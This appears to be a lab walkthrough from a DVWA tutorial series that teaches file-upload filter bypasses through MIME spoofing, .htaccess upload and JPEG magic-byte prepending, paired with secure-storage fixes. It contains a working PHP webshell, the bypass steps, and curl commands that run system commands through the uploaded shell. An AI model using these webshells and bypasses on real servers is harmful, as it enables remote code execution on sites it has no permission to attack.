DVWA Labs -- Day 2026 of 20
100%

DVWA File Upload Advanced Lab 2026 — Extension Bypass & MIME Spoofing Complete Walkthrough | Hacking Lab18

DVWA File Upload Advanced Lab 2026 — Extension Bypass & MIME Spoofing Complete Walkthrough | Hacking Lab18
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 18 of 30 · 60% complete

DVWA File Upload Advanced Lab 2026 :— Lab 6 showed you basic webshell upload at Low security where no filtering exists. Medium and High security add filters that check Content-Type, extension, and image validity. Each filter checks something specific and leaves something else unchecked. Medium trusts the browser-submitted Content-Type but does not look at the actual file. High checks the extension and magic bytes but may still allow .htaccess files that redefine how the server executes uploaded content. Lab 18 bypasses all three levels systematically — read the source, identify the gap, use the exact bypass the gap enables.

🎯 What You’ll Learn in Lab 18

Bypass Medium security via Content-Type (MIME) spoofing in Burp
Bypass High security using .htaccess upload to redefine PHP execution
Understand double extension bypass and when it applies
Use magic byte injection to pass getimagesize() validation
Execute uploaded webshells and achieve RCE on each security level

⏱️ 40 min · 3 exercises

✅ Prerequisites

In Lab 6 you uploaded a PHP webshell at Low security. Lab 18 builds directly on that — same goal (PHP execution), different obstacles. The same source code reading methodology from Lab 14 applies: check the filter logic first, identify the gap, apply the specific bypass. The DVWA Lab Series teaches technique recognition, not just exploit execution.


Medium Security — MIME Spoofing Bypass

MEDIUM SECURITY SOURCE + BYPASS
# View Source at Medium — the entire upload filter:
if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) &&
( $uploaded_size < 100000 ) ) {
# $uploaded_type = $_FILES[‘uploaded’][‘type’] — this is the BROWSER-SUBMITTED Content-Type
# Not validated against actual file content
# BYPASS: Change Content-Type header in Burp
# Step 1: Create webshell
echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php
# Step 2: Upload shell.php with Burp intercepting
# Step 3: In Burp Proxy — intercept the upload request
Original: Content-Type: application/octet-stream
Modified: Content-Type: image/jpeg
# Step 4: Forward modified request
succesfully uploaded
Response: //localhost/dvwa/hackable/uploads/shell.php

⚡ EXERCISE 1 — DVWA (12 MIN)
Bypass Medium Security via MIME Spoofing in Burp

⏱️ Time: 12 minutes · DVWA Medium · Burp Suite active

MEDIUM BYPASS — COMPLETE STEPS
# Step 1: Create minimal PHP webshell
echo ‘<?php if(isset($_GET[“cmd”])){ echo “<pre>”; system($_GET[“cmd”]); echo “</pre>”; } ?>’ > /tmp/shell.php
# Step 2: Open DVWA File Upload at Medium security
# Step 3: Burp Suite: Proxy → Intercept ON
# Step 4: Select /tmp/shell.php and click Upload
# Step 5: In Burp intercepted request — find the Content-Type line
Content-Disposition: form-data; name=”uploaded”; filename=”shell.php”
Content-Type: application/octet-stream ← change this
Content-Type: image/jpeg ← to this
# Step 6: Forward → request succeeds
succesfully uploaded
# Step 7: Navigate to the uploaded file URL
http://localhost/dvwa/hackable/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data)

✅ What you just learned: The MIME spoofing bypass demonstrates that trusting browser-submitted headers for security decisions is fundamentally broken. The browser submits Content-Type as part of the multipart form data — and that value is trivially modifiable by any proxy. The server never looks at the actual bytes of the uploaded file. Professional web application assessors always test file uploads by modifying the Content-Type in Burp — it is a one-step bypass that works against any application that relies on Content-Type alone. The fix is server-side validation: use PHP’s finfo_file() or getimagesize() to validate the actual file content, not the browser-claimed Content-Type.

📸 Screenshot the Burp Content-Type modification and the webshell RCE output. Share in #dvwa-labs on Discord.


High Security — .htaccess Upload and Magic Bytes

High security adds two additional checks: getimagesize() which validates that the file has valid image dimensions (checking magic bytes), and an extension whitelist that only accepts .jpg, .jpeg, and .png. The getimagesize() check can be bypassed by prepending valid image magic bytes to the PHP webshell. The extension check can be bypassed by uploading an .htaccess file (if the server accepts it) that redefines how certain extensions are executed.

⚡ EXERCISE 2 — DVWA (15 MIN)
Bypass High Security Using .htaccess Upload

⏱️ Time: 15 minutes · DVWA High security · Burp Suite

HIGH BYPASS — .htaccess METHOD
# Step 1: Create .htaccess that makes .jpg execute as PHP
echo ‘AddType application/x-httpd-php .jpg’ > /tmp/.htaccess
# Step 2: Upload .htaccess via DVWA (with Burp)
# .htaccess has no extension — High security checks file extension
# Since .htaccess filename doesn’t end in a blocked extension, it may pass
# Change Content-Type to image/jpeg in Burp if needed
# Step 3: Create webshell with .jpg extension
echo ‘<?php system($_GET[“cmd”]); ?>’ > /tmp/shell.jpg
# Step 4: Add JPEG magic bytes to pass getimagesize()
printf ‘\xff\xd8\xff’ > /tmp/magic_shell.jpg
cat /tmp/shell.jpg >> /tmp/magic_shell.jpg
# File now starts with JPEG magic bytes (passes getimagesize)
# AND contains PHP code (executed due to .htaccess rule)
# Step 5: Upload magic_shell.jpg
# High security checks: extension (.jpg ✓), getimagesize (✓ magic bytes)
# Upload succeeds!
# Step 6: Execute via URL (Apache executes .jpg as PHP due to .htaccess)
http://localhost/dvwa/hackable/uploads/magic_shell.jpg?cmd=id
uid=33(www-data) ← PHP executed despite .jpg extension

✅ What you just learned: The .htaccess upload attack is a two-stage bypass that exploits a gap in the upload directory configuration: if the server serves uploaded files and the directory allows .htaccess files, any subsequent uploaded file can be executed as PHP regardless of its extension. The magic byte prepend defeats getimagesize() because the function only reads the first few bytes to verify image format — it does not validate the entire file content. Together these two techniques bypass both the file validation (magic bytes) and the execution restriction (htaccess). The correct fix includes: disallowing .htaccess in upload directories, validating entire file content not just magic bytes, and serving uploaded files from a non-executable location or with Content-Disposition: attachment headers.

📸 Screenshot the .htaccess upload success and webshell execution with magic bytes. Share in #dvwa-labs on Discord.


Executing the Webshell After Upload

⚡ EXERCISE 3 — DVWA (10 MIN)
Compare All Three Security Levels Side by Side

⏱️ Time: 10 minutes · DVWA · all three security levels

WEBSHELL EXECUTION + THREE-LEVEL SUMMARY
# Execute uploaded webshell at each security level
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=id” \
–cookie “PHPSESSID=SESSION; security=low”
uid=33(www-data) gid=33(www-data)
# Medium and High use different filenames based on your bypass
curl “http://localhost/dvwa/hackable/uploads/shell.php?cmd=whoami” \
–cookie “PHPSESSID=SESSION; security=medium”
curl “http://localhost/dvwa/hackable/uploads/magic_shell.jpg?cmd=ls” \
–cookie “PHPSESSID=SESSION; security=high”
# Three-level comparison summary:
Low: No filter → Direct PHP upload → Immediate RCE
Medium: Content-Type check only → MIME spoof → RCE
High: Extension + getimagesize → .htaccess + magic bytes → RCE
# All three levels achievable RCE — only the bypass complexity differs
# Correct defence (Impossible): rename on server-side, store outside webroot
# mv /uploads/shell.php /non-executable-storage/random-uuid.bin

✅ What you just learned: All three security levels are bypassed — the only difference is attack complexity. Low security: one click. Medium: one Burp modification. High: two uploads and magic bytes. The correct defence (Impossible security) avoids the execution problem entirely: files are renamed to random UUIDs with neutral extensions and served from storage outside the webroot. This approach does not rely on validating what the file is — it simply ensures no uploaded file can ever be executed as code regardless of its contents. Validation is still useful for user experience (reject non-image files), but the security guarantee comes from storage architecture, not content inspection.

📸 Screenshot RCE from all three security levels and share in #dvwa-labs on Discord. Tag #fileupload2026

🧠 QUICK CHECK — Lab 18

A web application uses PHP’s getimagesize() to validate that uploaded files are real images before storing them. A security tester uploads shell.php.jpg with JPEG magic bytes (FF D8 FF) prepended. getimagesize() returns dimensions and reports the file as a valid JPEG. The file is stored in the web-accessible uploads directory. Has the upload filter been bypassed? What determines whether RCE is achievable?



📋 Lab 18 Upload Bypass Reference

Medium bypassChange Content-Type: application/php → image/jpeg in Burp — server trusts browser header
High bypass step 1Upload .htaccess: “AddType application/x-httpd-php .jpg” — redefines .jpg execution
High bypass step 2Prepend JPEG magic bytes (FF D8 FF) to PHP shell — passes getimagesize() check
Double extensionshell.php.jpg — works if server processes based on first extension (mod_mime config)
Correct fixRename files server-side + store outside webroot + serve as attachment — removes execution entirely

🏆 Mark Lab 18 as Complete

Lab 18 completes the file upload bypass series — Low through High all bypassed, each using a technique matched to the specific filter gap. The pattern is consistent: read the source, find the unchecked dimension, use the bypass that targets that specific gap. Lab 19 moves to XSS cookie theft — advanced cross-site scripting for session hijacking.


❓ Frequently Asked Questions

What does Medium security check?
Only the browser-submitted Content-Type header. Does not inspect file contents. Bypass: change Content-Type to image/jpeg in Burp while uploading a PHP file.
What does High security check?
Extension whitelist (.jpg/.jpeg/.png) + getimagesize() for magic bytes. Bypass: upload .htaccess to redefine .jpg execution + prepend JPEG magic bytes to PHP shell.
What is a double extension bypass?
Upload shell.php.jpg — server checks final extension (.jpg = allowed), but Apache may execute based on first extension (.php) if AddHandler is misconfigured. Depends on server mod_mime configuration.
What is magic byte injection?
Prepend format magic bytes (JPEG = FF D8 FF) to PHP file. getimagesize() validates the magic bytes and accepts the file. PHP code after the magic bytes executes if server configuration allows.
What comes after Lab 18?
Lab 19: DVWA XSS Cookie Theft — advanced XSS techniques for cookie exfiltration and session hijacking beyond the basics covered in Labs 8-10.
← Previous Lab

Lab 17: File Inclusion Advanced

Next Lab →

Lab 19: XSS Cookie Theft Advanced

📚 Further Reading

  • DVWA File Upload Lab 2026 — Lab 6 covers basic webshell upload at Low security — the foundation Lab 18 extends to Medium and High bypass techniques.
  • File Upload Vulnerabilities Hub — SecurityElites complete file upload security category — real-world bypass techniques, CVE examples, and secure implementation patterns for production applications.
  • DVWA Labs Hub — All 30 DVWA labs — Lab 18 at 60% completion marks the beginning of the advanced techniques phase of the series.
  • PortSwigger File Upload Labs — Interactive file upload bypass labs including remote code execution via extension manipulation, .htaccess upload, and polyglot file attacks — real-world complexity beyond DVWA.
  • OWASP Unrestricted File Upload — OWASP’s complete file upload vulnerability reference — all bypass categories, real CVE examples, and the definitive secure file upload implementation guidance.
ME
Mr Elite
Owner, SecurityElites.com
The file upload finding that best illustrates why magic bytes are insufficient was a healthcare portal that had genuinely tried to secure their upload: server-side MIME validation using PHP’s finfo, getimagesize() check, extension whitelist, and file size limit. They had done everything right from a validation perspective. The gap was that the uploads directory had a pre-existing .htaccess file that the application had created for caching directives. That .htaccess contained a broad PHP handler that included all file types. The upload validation was solid. The directory configuration made it irrelevant. I uploaded a JPEG with PHP code in the comment section — valid JPEG, passed every check — and the .htaccess caused the server to execute it. The lesson from Lab 18 is the same: validation tells you what the file is. Storage architecture determines whether a valid file can cause harm. Both layers need to be secure.

Leave a Reply

Your email address will not be published. Required fields are marked *